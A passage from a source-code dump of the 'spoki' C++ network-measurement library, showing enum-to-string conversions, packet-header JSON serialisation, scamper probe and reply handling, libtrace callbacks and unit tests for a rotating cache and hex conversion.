else if (in == "spoki::net::tcp_opt::sack") { 55 | out = tcp_opt::sack; 56 | return true; 57 | } else if (in == "spoki::net::tcp_opt::timestamp") { 58 | out = tcp_opt::timestamp; 59 | return true; 60 | } else if (in == "spoki::net::tcp_opt::other") { 61 | out = tcp_opt::other; 62 | return true; 63 | } else { 64 | return false; 65 | } 66 | } 67 | 68 | bool from_integer(std::underlying_type_t in, 69 | tcp_opt& out) { 70 | auto result = static_cast(in); 71 | switch(result) { 72 | default: 73 | return false; 74 | case tcp_opt::end_of_list: 75 | case tcp_opt::noop: 76 | case tcp_opt::mss: 77 | case tcp_opt::window_scale: 78 | case tcp_opt::sack_permitted: 79 | case tcp_opt::sack: 80 | case tcp_opt::timestamp: 81 | case tcp_opt::other: 82 | out = result; 83 | return true; 84 | }; 85 | } 86 | 87 | } // namespace spoki::net 88 | 89 | SPOKI_POP_WARNINGS 90 | -------------------------------------------------------------------------------- /spoki/libspoki/src/net/udp.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #include "spoki/net/udp.hpp" 14 | 15 | #include 16 | 17 | #include 18 | 19 | #include "spoki/config.hpp" 20 | #include "spoki/probe/payloads.hpp" 21 | 22 | // For convenience. 23 | using json = nlohmann::json; 24 | 25 | namespace spoki::net { 26 | 27 | std::string to_string(const udp& x) { 28 | std::stringstream s; 29 | s << "udp(sport " << std::to_string(x.sport) << ", dport " 30 | << std::to_string(x.dport) << ")"; 31 | return s.str(); 32 | } 33 | 34 | // -- JSON --------------------------------------------------------------------- 35 | 36 | void to_json(json& j, const udp& x) { 37 | j = json{{"sport", x.sport}, 38 | {"dport", x.dport}, 39 | {"payload", probe::to_hex_string(x.payload)}}; 40 | } 41 | 42 | void from_json(const json&, udp&) { 43 | SPOKI_CRITICAL("JSON deserialization not implemented"); 44 | } 45 | 46 | } // namespace spoki::net 47 | -------------------------------------------------------------------------------- /spoki/libspoki/src/net/udp_hdr.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #include "spoki/net/udp_hdr.hpp" 14 | 15 | #include 16 | 17 | #include "spoki/config.hpp" 18 | 19 | // For convenience. 20 | using json = nlohmann::json; 21 | 22 | namespace spoki::net { 23 | 24 | // -- JSON --------------------------------------------------------------------- 25 | 26 | void to_json(json& j, const udp_hdr& x) { 27 | j = json{{"sport", x.sport}, 28 | {"dport", x.dport}, 29 | {"length", x.length}, 30 | {"chksum", x.chksum}}; 31 | } 32 | 33 | void from_json(const json&, udp_hdr&) { 34 | SPOKI_CRITICAL("JSON deserialization not implemented"); 35 | } 36 | 37 | } // namespace spoki::net 38 | -------------------------------------------------------------------------------- /spoki/libspoki/src/net/unix.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #include "spoki/net/tcp.hpp" 14 | 15 | #include 16 | 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | 28 | 29 | #include 30 | #include 31 | #include 32 | #include 33 | 34 | #include "spoki/config.hpp" 35 | #include "spoki/probe/payloads.hpp" 36 | 37 | namespace spoki::net { 38 | 39 | // -- networking --------------------------------------------------------------- 40 | 41 | int connect(std::string name) { 42 | int sockfd; 43 | struct sockaddr_un addr; 44 | 45 | if ((sockfd = socket(AF_UNIX, SOCK_STREAM, 0)) == -1) { 46 | std::cerr << "socket: " << caf::io::network::last_socket_error_as_string() 47 | << std::endl; 48 | } 49 | 50 | memset(&addr, 0, sizeof(sockaddr_un)); 51 | addr.sun_family = AF_UNIX; 52 | auto max_len = sizeof(addr.sun_path) - 1; 53 | if (name.size() > max_len) { 54 | std::cerr << "name is too long, limit is " << max_len << " characters\n"; 55 | close(sockfd); 56 | return -1; 57 | } 58 | strncpy(addr.sun_path, name.c_str(), name.size()); 59 | 60 | if (connect(sockfd, reinterpret_cast(&addr), sizeof(sockaddr_un)) 61 | == -1) { 62 | std::cerr << "connect: " << caf::io::network::last_socket_error_as_string() 63 | << std::endl; 64 | close(sockfd); 65 | return -1; 66 | } 67 | 68 | std::cout << "connected to " << name << std::endl; 69 | return sockfd; 70 | } 71 | 72 | } // namespace spoki::net 73 | -------------------------------------------------------------------------------- /spoki/libspoki/src/probe/method.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #include "spoki/probe/method.hpp" 14 | 15 | namespace spoki::probe { 16 | 17 | std::string probe_name(method m) { 18 | switch (m) { 19 | case method::icmp_echo: 20 | return "icmp-echo"; 21 | case method::icmp_time: 22 | return "icmp-time"; 23 | case method::tcp_syn: 24 | return "tcp-syn"; 25 | case method::tcp_ack: 26 | return "tcp-ack"; 27 | case method::tcp_ack_sport: 28 | return "tcp-ack-sport"; 29 | case method::tcp_synack: 30 | return "tcp-synack"; 31 | case method::tcp_rst: 32 | return "tcp-rst"; 33 | case method::udp: 34 | return "udp"; 35 | case method::udp_dport: 36 | return "udp-dport"; 37 | default: { 38 | auto str = "unknown method type: " + std::to_string(static_cast(m)); 39 | return str; 40 | } 41 | } 42 | } 43 | 44 | } // namespace spoki::probe 45 | -------------------------------------------------------------------------------- /spoki/libspoki/src/probe/method_strings.cpp: -------------------------------------------------------------------------------- 1 | // clang-format off 2 | // DO NOT EDIT: this file is auto-generated by generate-enum-strings. 3 | // Run the target update-enum-strings if this file is out of sync. 4 | #include "spoki/config.hpp" 5 | #include "caf/string_view.hpp" 6 | 7 | SPOKI_PUSH_DEPRECATED_WARNING 8 | 9 | #include "spoki/probe/method.hpp" 10 | 11 | #include 12 | 13 | namespace spoki::probe { 14 | 15 | std::string to_string(method x) { 16 | switch(x) { 17 | default: 18 | return "???"; 19 | case method::icmp_echo: 20 | return "spoki::probe::method::icmp_echo"; 21 | case method::icmp_time: 22 | return "spoki::probe::method::icmp_time"; 23 | case method::tcp_syn: 24 | return "spoki::probe::method::tcp_syn"; 25 | case method::tcp_ack: 26 | return "spoki::probe::method::tcp_ack"; 27 | case method::tcp_ack_sport: 28 | return "spoki::probe::method::tcp_ack_sport"; 29 | case method::tcp_synack: 30 | return "spoki::probe::method::tcp_synack"; 31 | case method::tcp_rst: 32 | return "spoki::probe::method::tcp_rst"; 33 | case method::udp: 34 | return "spoki::probe::method::udp"; 35 | case method::udp_dport: 36 | return "spoki::probe::method::udp_dport"; 37 | }; 38 | } 39 | 40 | bool from_string(caf::string_view in, method& out) { 41 | if (in == "spoki::probe::method::icmp_echo") { 42 | out = method::icmp_echo; 43 | return true; 44 | } else if (in == "spoki::probe::method::icmp_time") { 45 | out = method::icmp_time; 46 | return true; 47 | } else if (in == "spoki::probe::method::tcp_syn") { 48 | out = method::tcp_syn; 49 | return true; 50 | } else if (in == "spoki::probe::method::tcp_ack") { 51 | out = method::tcp_ack; 52 | return true; 53 | } else if (in == "spoki::probe::method::tcp_ack_sport") { 54 | out = method::tcp_ack_sport; 55 | return true; 56 | } else if (in == "spoki::probe::method::tcp_synack") { 57 | out = method::tcp_synack; 58 | return true; 59 | } else if (in == "spoki::probe::method::tcp_rst") { 60 | out = method::tcp_rst; 61 | return true; 62 | } else if (in == "spoki::probe::method::udp") { 63 | out = method::udp; 64 | return true; 65 | } else if (in == "spoki::probe::method::udp_dport") { 66 | out = method::udp_dport; 67 | return true; 68 | } else { 69 | return false; 70 | } 71 | } 72 | 73 | bool from_integer(std::underlying_type_t in, 74 | method& out) { 75 | auto result = static_cast(in); 76 | switch(result) { 77 | default: 78 | return false; 79 | case method::icmp_echo: 80 | case method::icmp_time: 81 | case method::tcp_syn: 82 | case method::tcp_ack: 83 | case method::tcp_ack_sport: 84 | case method::tcp_synack: 85 | case method::tcp_rst: 86 | case method::udp: 87 | case method::udp_dport: 88 | out = result; 89 | return true; 90 | }; 91 | } 92 | 93 | } // namespace spoki::probe 94 | 95 | SPOKI_POP_WARNINGS 96 | -------------------------------------------------------------------------------- /spoki/libspoki/src/probe/payloads.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #include "spoki/probe/payloads.hpp" 14 | 15 | #include 16 | #include 17 | 18 | namespace spoki::probe { 19 | 20 | namespace { 21 | 22 | struct hex { 23 | hex(char c) : c(static_cast(c)) { 24 | // nop 25 | } 26 | unsigned char c; 27 | }; 28 | 29 | inline std::ostream& operator<<(std::ostream& o, const hex& hc) { 30 | return (o << std::setw(2) << std::setfill('0') << std::hex 31 | << static_cast(hc.c)); 32 | } 33 | 34 | } // namespace 35 | 36 | payload_map get_payloads() { 37 | payload_map payloads; 38 | // TODO: Add payloads here. 39 | // - Write loader for ZMap payloads available here: 40 | // https://github.com/zmap/zmap/tree/main/examples/udp-probes 41 | return payloads; 42 | } 43 | 44 | payload_str_map get_payload_hex_strs() { 45 | payload_str_map pl_strs; 46 | auto payloads = get_payloads(); 47 | for (auto& p : payloads) 48 | pl_strs[p.first] = to_hex_string(p.second); 49 | return pl_strs; 50 | } 51 | 52 | std::string to_hex_string(const std::vector& buf) { 53 | std::stringstream s; 54 | for (auto c : buf) 55 | s << hex{c}; 56 | return s.str(); 57 | } 58 | 59 | } // namespace spoki::probe 60 | -------------------------------------------------------------------------------- /spoki/libspoki/src/scamper/ec_strings.cpp: -------------------------------------------------------------------------------- 1 | // clang-format off 2 | // DO NOT EDIT: this file is auto-generated by generate-enum-strings. 3 | // Run the target update-enum-strings if this file is out of sync. 4 | #include "spoki/config.hpp" 5 | #include "caf/string_view.hpp" 6 | 7 | SPOKI_PUSH_DEPRECATED_WARNING 8 | 9 | #include "spoki/scamper/ec.hpp" 10 | 11 | #include 12 | 13 | namespace spoki::scamper { 14 | 15 | std::string to_string(ec x) { 16 | switch(x) { 17 | default: 18 | return "???"; 19 | case ec::success: 20 | return "spoki::scamper::ec::success"; 21 | case ec::failed_to_connect: 22 | return "spoki::scamper::ec::failed_to_connect"; 23 | case ec::failed_to_start_decoder: 24 | return "spoki::scamper::ec::failed_to_start_decoder"; 25 | }; 26 | } 27 | 28 | bool from_string(caf::string_view in, ec& out) { 29 | if (in == "spoki::scamper::ec::success") { 30 | out = ec::success; 31 | return true; 32 | } else if (in == "spoki::scamper::ec::failed_to_connect") { 33 | out = ec::failed_to_connect; 34 | return true; 35 | } else if (in == "spoki::scamper::ec::failed_to_start_decoder") { 36 | out = ec::failed_to_start_decoder; 37 | return true; 38 | } else { 39 | return false; 40 | } 41 | } 42 | 43 | bool from_integer(std::underlying_type_t in, 44 | ec& out) { 45 | auto result = static_cast(in); 46 | switch(result) { 47 | default: 48 | return false; 49 | case ec::success: 50 | case ec::failed_to_connect: 51 | case ec::failed_to_start_decoder: 52 | out = result; 53 | return true; 54 | }; 55 | } 56 | 57 | } // namespace spoki::scamper 58 | 59 | SPOKI_POP_WARNINGS 60 | -------------------------------------------------------------------------------- /spoki/libspoki/src/scamper/ping.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #include "spoki/scamper/ping.hpp" 14 | 15 | #include 16 | 17 | namespace spoki::scamper { 18 | 19 | std::string ping_dst(scamper_ping_t* ptr) { 20 | std::array buf = {}; 21 | scamper_addr_tostr(ptr->dst, buf.data(), buf.size()); 22 | return std::string(buf.data()); 23 | } 24 | 25 | std::string ping_src(scamper_ping_t* ptr) { 26 | std::array buf = {}; 27 | scamper_addr_tostr(ptr->src, buf.data(), buf.size()); 28 | return std::string(buf.data()); 29 | } 30 | 31 | } // namespace spoki::scamper 32 | -------------------------------------------------------------------------------- /spoki/libspoki/src/scamper/reply.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #include "spoki/scamper/reply.hpp" 14 | 15 | namespace spoki::scamper { 16 | 17 | std::string to_log_line(const reply& repl, char delimiter) { 18 | std::string line; 19 | line += std::to_string(repl.start.sec); 20 | line += delimiter; 21 | line += std::to_string(repl.start.usec); 22 | line += delimiter; 23 | line += to_string(repl.probe_method); 24 | line += delimiter; 25 | line += std::to_string(repl.userid); 26 | line += delimiter; 27 | line += repl.ping_sent; 28 | line += delimiter; 29 | line += repl.src; 30 | line += delimiter; 31 | line += repl.dst; 32 | line += delimiter; 33 | line += std::to_string(repl.sport); 34 | line += delimiter; 35 | line += std::to_string(repl.dport); 36 | return line; 37 | } 38 | 39 | } // namespace spoki::scamper 40 | -------------------------------------------------------------------------------- /spoki/libspoki/src/task.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 9 | * 10 | */ 11 | 12 | #include "spoki/task.hpp" 13 | 14 | #include 15 | #include 16 | 17 | #include 18 | 19 | #include "spoki/analysis/classification.hpp" 20 | #include "spoki/config.hpp" 21 | #include "spoki/probe/payloads.hpp" 22 | 23 | // For convenience. 24 | using json = nlohmann::json; 25 | 26 | namespace spoki { 27 | 28 | namespace { 29 | 30 | constexpr auto separator = ","; 31 | 32 | } // namespace 33 | 34 | task::task(packet initial, std::vector packets) 35 | : initial(initial), 36 | type(analysis::classification::unchecked), 37 | consistent(false), 38 | suspected_scanner(false), 39 | last_anum(0), 40 | num_probes(0), 41 | packets(std::move(packets)) { 42 | // nop 43 | } 44 | 45 | std::string to_string(const task& e) { 46 | std::stringstream ss; 47 | ss << "task(" << separator << to_string(e.initial) << separator 48 | << to_string(e.type) << separator 49 | << (e.consistent ? "consistent" : "unknown") << separator 50 | << (e.suspected_scanner ? "suspicious" : "regular") << separator 51 | << e.num_probes; 52 | for (auto& p : e.packets) 53 | ss << separator << to_string(p); 54 | ss << ")"; 55 | return ss.str(); 56 | } 57 | 58 | // -- JSON --------------------------------------------------------------------- 59 | 60 | void to_json(json& j, const task& x) { 61 | j = json{ 62 | {"initial", x.initial}, {"classification", to_string(x.type)}, 63 | {"valid", x.consistent}, {"suspected_scanner", x.suspected_scanner}, 64 | {"num_probes", x.num_probes}, {"packets", x.packets}}; 65 | } 66 | 67 | void from_json(const json&, task&) { 68 | SPOKI_CRITICAL("JSON deserialization not implemented"); 69 | } 70 | 71 | } // namespace spoki 72 | -------------------------------------------------------------------------------- /spoki/libspoki/src/time.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #include "spoki/time.hpp" 14 | 15 | #include 16 | 17 | extern "C" { 18 | 19 | #include 20 | } 21 | 22 | namespace spoki { 23 | 24 | // Implementation from: 25 | // https://stackoverflow.com/questions/39421089/convert-stdchronosystem-clocktime-point-to-struct-timeval-and-back#39421261 26 | 27 | std::chrono::system_clock::time_point to_time_point(timeval tv) { 28 | using namespace std::chrono; 29 | return system_clock::time_point{seconds{tv.tv_sec} 30 | + microseconds{tv.tv_usec}}; 31 | } 32 | 33 | std::chrono::system_clock::duration to_duration(timeval tv) { 34 | using namespace std::chrono; 35 | return system_clock::duration{seconds{tv.tv_sec} + microseconds{tv.tv_usec}}; 36 | } 37 | 38 | /* 39 | timeval to_timeval(std::chrono::system_clock::time_point tp) { 40 | using namespace std::chrono; 41 | auto s = time_point_cast(tp); 42 | if (s > tp) 43 | s = s - seconds{1}; 44 | auto us = duration_cast(tp - s); 45 | timeval tv; 46 | tv.tv_sec = s.time_since_epoch().count(); 47 | tv.tv_usec = us.count(); 48 | return tv; 49 | } 50 | */ 51 | 52 | timeval to_timeval(timestamp tp) { 53 | using namespace std::chrono; 54 | auto s = time_point_cast(tp); 55 | if (s > tp) 56 | s = s - seconds{1}; 57 | auto us = duration_cast(tp - s); 58 | timeval tv; 59 | tv.tv_sec = s.time_since_epoch().count(); 60 | tv.tv_usec = us.count(); 61 | return tv; 62 | } 63 | 64 | } // namespace spoki 65 | -------------------------------------------------------------------------------- /spoki/libspoki/src/trace/processing.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #include "spoki/trace/processing.hpp" 14 | #include "spoki/trace/state.hpp" 15 | 16 | namespace spoki::trace { 17 | 18 | void* start_processing(libtrace_t*, libtrace_thread_t*, void* gs) { 19 | auto global_ptr = reinterpret_cast(gs); 20 | // Create and initialize our local state. 21 | auto c = global_ptr->make_local(); 22 | // Increment reference, "held by libtrace". 23 | c->ref(); 24 | return reinterpret_cast(c.get()); 25 | } 26 | 27 | libtrace_packet_t* per_packet(libtrace_t*, libtrace_thread_t*, void*, void* tls, 28 | libtrace_packet_t* packet) { 29 | auto local_ptr = reinterpret_cast(tls); 30 | local_ptr->add_packet(packet); 31 | return packet; 32 | } 33 | 34 | void stop_processing(libtrace_t* trace, libtrace_thread_t* thread, void*, 35 | void* tls) { 36 | auto local_ptr = reinterpret_cast(tls); 37 | // Send outstanding requests. 38 | local_ptr->send_all(); 39 | // Stats ... 40 | local_ptr->publish_stats(trace, thread); 41 | // Remove libtrace pointer. 42 | local_ptr->deref(); 43 | } 44 | 45 | } // namespace spoki::trace 46 | -------------------------------------------------------------------------------- /spoki/libspoki/src/trace/reporting.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #include 14 | 15 | #include "spoki/atoms.hpp" 16 | #include "spoki/logger.hpp" 17 | 18 | #include "spoki/trace/processing.hpp" 19 | #include "spoki/trace/reporting.hpp" 20 | #include "spoki/trace/state.hpp" 21 | 22 | namespace spoki::trace { 23 | 24 | void* start_reporting(libtrace_t*, libtrace_thread_t*, void*) { 25 | // Create the state for processing. Be sure to delete it! 26 | return new tally; 27 | } 28 | 29 | void per_result(libtrace_t*, libtrace_thread_t*, void*, void* tls, 30 | libtrace_result_t* res) { 31 | // We only want to handle results containing our user-defined 32 | // structure. Check result->type to see what type of result this is. 33 | if (res->type != RESULT_USER) 34 | return; 35 | // The key is the same as the key value that was passed into 36 | // trace_publish_result() when the processing thread published this 37 | // result. For now, our key will always be zero. 38 | auto key = res->key; 39 | // result->value is a libtrace_generic_t that was passed into 40 | // trace_publish_result() when the processing thread published this 41 | // result. In our case, we know that it is a pointer to a struct 42 | // result so we can cast it to the right type. 43 | auto r = reinterpret_cast(res->value.ptr); 44 | // Grab our tally out of thread local storage and update it based on 45 | // this new result. 46 | auto local_ptr = reinterpret_cast(tls); 47 | local_ptr->total_packets += r->total_packets; 48 | local_ptr->ipv4_packets += r->ipv4_packets; 49 | local_ptr->ipv6_packets += r->ipv6_packets; 50 | local_ptr->others += r->others; 51 | local_ptr->last_key = key; 52 | // Remember that the results was malloced by the processing thread, 53 | // so make sure to free it here. 54 | delete r; 55 | } 56 | 57 | void stop_reporting(libtrace_t*, libtrace_thread_t*, void* gs, void* tls) { 58 | auto global_ptr = reinterpret_cast(gs); 59 | auto local_ptr = reinterpret_cast(tls); 60 | // TODO: Just send the stats to the collector. 61 | anon_send(global_ptr->parent, spoki::report_atom_v, global_ptr->id, 62 | *local_ptr); 63 | delete local_ptr; 64 | } 65 | 66 | } // namespace spoki::trace 67 | -------------------------------------------------------------------------------- /spoki/libspoki/test/cache/rotating_store.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #define SUITE cache.rotating_store 14 | #include "test.hpp" 15 | 16 | #include 17 | #include 18 | #include 19 | 20 | #include "spoki/cache/entry.hpp" 21 | #include "spoki/cache/rotating_store.hpp" 22 | #include "spoki/time.hpp" 23 | 24 | namespace { 25 | 26 | spoki::timestamp make_test_ts(long val) { 27 | return spoki::timestamp{spoki::timestamp::duration{val}}; 28 | } 29 | 30 | struct fixture { 31 | fixture() 32 | : foo(caf::ipv4_address::from_bits(23)), 33 | bar(caf::ipv4_address::from_bits(42)), 34 | baz(caf::ipv4_address::from_bits(1337)) { 35 | // nop 36 | } 37 | 38 | caf::ipv4_address foo; 39 | caf::ipv4_address bar; 40 | caf::ipv4_address baz; 41 | }; 42 | 43 | } // namespace 44 | 45 | FIXTURE_SCOPE(rotating_store_tests, fixture) 46 | 47 | TEST(insertion) { 48 | using namespace spoki::cache; 49 | entry a{make_test_ts(1), true}; 50 | entry b{make_test_ts(2), true}; 51 | entry c{make_test_ts(0), false}; 52 | CHECK_EQUAL(c.ts.time_since_epoch().count(), 0); 53 | CHECK_EQUAL(c.consistent, false); 54 | rotating_store rotating_store; 55 | CHECK_EQUAL(rotating_store.size(), 0ul); 56 | rotating_store.insert(foo, a); 57 | CHECK_EQUAL(rotating_store.size(), 1ul); 58 | rotating_store.insert(bar, b); 59 | CHECK_EQUAL(rotating_store.size(), 2ul); 60 | CHECK_EQUAL(rotating_store[foo], a); 61 | CHECK_EQUAL(rotating_store[bar], b); 62 | CHECK_EQUAL(rotating_store.size(), 2ul); 63 | // Unlike a standard map this should not create an entry. 64 | CHECK_EQUAL(rotating_store[baz], c); 65 | CHECK_EQUAL(rotating_store.size(), 2ul); 66 | } 67 | 68 | TEST(insertion with rotation) { 69 | using namespace spoki::cache; 70 | entry a{make_test_ts(1), true}; 71 | entry b{make_test_ts(2), true}; 72 | entry c{make_test_ts(0), false}; 73 | CHECK_EQUAL(c.ts.time_since_epoch().count(), 0); 74 | CHECK_EQUAL(c.consistent, false); 75 | rotating_store rotating_store; 76 | CHECK_EQUAL(rotating_store.size(), 0ul); 77 | rotating_store.insert(foo, a); 78 | rotating_store.rotate(); 79 | CHECK_EQUAL(rotating_store.size(), 1ul); 80 | rotating_store.insert(bar, b); 81 | rotating_store.rotate(); 82 | CHECK_EQUAL(rotating_store.size(), 2ul); 83 | CHECK_EQUAL(rotating_store[foo], a); 84 | CHECK_EQUAL(rotating_store[bar], b); 85 | CHECK_EQUAL(rotating_store.size(), 2ul); 86 | // Unlike a standard map this should not create an entry. 87 | CHECK_EQUAL(rotating_store[baz], c); 88 | CHECK_EQUAL(rotating_store.size(), 2ul); 89 | } 90 | 91 | TEST(insertion with rotation and loss) { 92 | using namespace spoki::cache; 93 | entry a{make_test_ts(1), true}; 94 | entry b{make_test_ts(2), true}; 95 | // This is the default entry of the store and returned if no value exists. 96 | entry def{make_test_ts(0), false}; 97 | CHECK_EQUAL(def.ts.time_since_epoch().count(), 0); 98 | CHECK_EQUAL(def.consistent, false); 99 | rotating_store rotating_store; 100 | CHECK_EQUAL(rotating_store.size(), 0ul); 101 | rotating_store.insert(foo, a); 102 | CHECK_EQUAL(rotating_store.size(), 1ul); 103 | // Now we have to subset in the store. 104 | rotating_store.rotate(2); 105 | CHECK_EQUAL(rotating_store.size(), 1ul); 106 | rotating_store.insert(bar, b); 107 | CHECK_EQUAL(rotating_store.size(), 2ul); 108 | rotating_store.rotate(2); 109 | // And we should still have two, but entry 'foo' was rotated out. 110 | CHECK_EQUAL(rotating_store.size(), 1ul); 111 | CHECK_EQUAL(rotating_store[foo], def); 112 | CHECK_EQUAL(rotating_store[bar], b); 113 | // Unlike a standard map this should not create an entry. 114 | CHECK_EQUAL(rotating_store[baz], def); 115 | CHECK_EQUAL(rotating_store.size(), 1ul); 116 | } 117 | 118 | FIXTURE_SCOPE_END() 119 | -------------------------------------------------------------------------------- /spoki/libspoki/test/core-test.cpp: -------------------------------------------------------------------------------- 1 | #define CAF_TEST_NO_MAIN 2 | 3 | #include "caf/test/unit_test_impl.hpp" 4 | 5 | #include "caf/init_global_meta_objects.hpp" 6 | #include "caf/io/middleman.hpp" 7 | 8 | #include "core-test.hpp" 9 | 10 | #include "spoki/all.hpp" 11 | 12 | int main(int argc, char** argv) { 13 | using namespace caf; 14 | init_global_meta_objects(); 15 | init_global_meta_objects(); 16 | io::middleman::init_global_meta_objects(); 17 | core::init_global_meta_objects(); 18 | return test::main(argc, argv); 19 | } -------------------------------------------------------------------------------- /spoki/libspoki/test/core-test.hpp: -------------------------------------------------------------------------------- 1 | #include "caf/test/bdd_dsl.hpp" 2 | #include "caf/test/io_dsl.hpp" 3 | 4 | #include "spoki/all.hpp" 5 | 6 | using dummy_placeholder 7 | = caf::typed_actor::with>; 8 | 9 | CAF_BEGIN_TYPE_ID_BLOCK(spoki_core_test, spoki::detail::spoki_core_end) 10 | 11 | CAF_ADD_TYPE_ID(spoki_core_test, (dummy_placeholder)) 12 | 13 | CAF_END_TYPE_ID_BLOCK(spoki_core_test) 14 | -------------------------------------------------------------------------------- /spoki/libspoki/test/probe/payloads.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #define SUITE probe.payloads 14 | #include "test.hpp" 15 | 16 | #include 17 | 18 | #include "spoki/probe/payloads.hpp" 19 | 20 | namespace { 21 | 22 | #include 23 | 24 | std::vector hex_to_chars(const std::string& input) { 25 | static const char* const lut = "0123456789abcdef"; 26 | size_t len = input.length(); 27 | if (len & 1) 28 | FAIL("wrong length"); 29 | 30 | std::vector output; 31 | output.reserve(len / 2); 32 | for (size_t i = 0; i < len; i += 2) { 33 | char a = input[i]; 34 | std::cout << "val: " << a << std::endl; 35 | const char* p = std::lower_bound(lut, lut + 16, a); 36 | if (*p != a) 37 | throw std::invalid_argument("not a hex digit"); 38 | 39 | char b = input[i + 1]; 40 | const char* q = std::lower_bound(lut, lut + 16, b); 41 | if (*q != b) 42 | throw std::invalid_argument("not a hex digit"); 43 | 44 | output.push_back(((p - lut) << 4) | (q - lut)); 45 | } 46 | return output; 47 | } 48 | 49 | } // namespace 50 | 51 | TEST(check string conversion) { 52 | auto vecs = spoki::probe::get_payloads(); 53 | auto strs = spoki::probe::get_payload_hex_strs(); 54 | for (auto p : strs) { 55 | auto port = p.first; 56 | auto& str = p.second; 57 | REQUIRE(vecs.count(port) > 0); 58 | auto expected = vecs[port]; 59 | std::vector recreated = hex_to_chars(str); 60 | CHECK_EQUAL(expected, recreated); 61 | } 62 | } 63 | -------------------------------------------------------------------------------- /spoki/libspoki/test/test.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #pragma once 14 | 15 | #ifdef SUITE 16 | # define CAF_SUITE SUITE 17 | #endif 18 | 19 | #include 20 | 21 | #define MESSAGE CAF_MESSAGE 22 | #define TEST CAF_TEST 23 | #define FIXTURE_SCOPE CAF_TEST_FIXTURE_SCOPE 24 | #define FIXTURE_SCOPE_END CAF_TEST_FIXTURE_SCOPE_END 25 | #define REQUIRE CAF_REQUIRE 26 | #define REQUIRE_EQUAL CAF_REQUIRE_EQUAL 27 | #define REQUIRE_NOT_EQUAL CAF_REQUIRE_NOT_EQUAL 28 | #define CHECK CAF_CHECK 29 | #define CHECK_EQUAL CAF_CHECK_EQUAL 30 | #define CHECK_NOT_EQUAL CAF_CHECK_NOT_EQUAL 31 | #define FAIL CAF_FAIL 32 | -------------------------------------------------------------------------------- /spoki/patches/limbo/shard.diff: 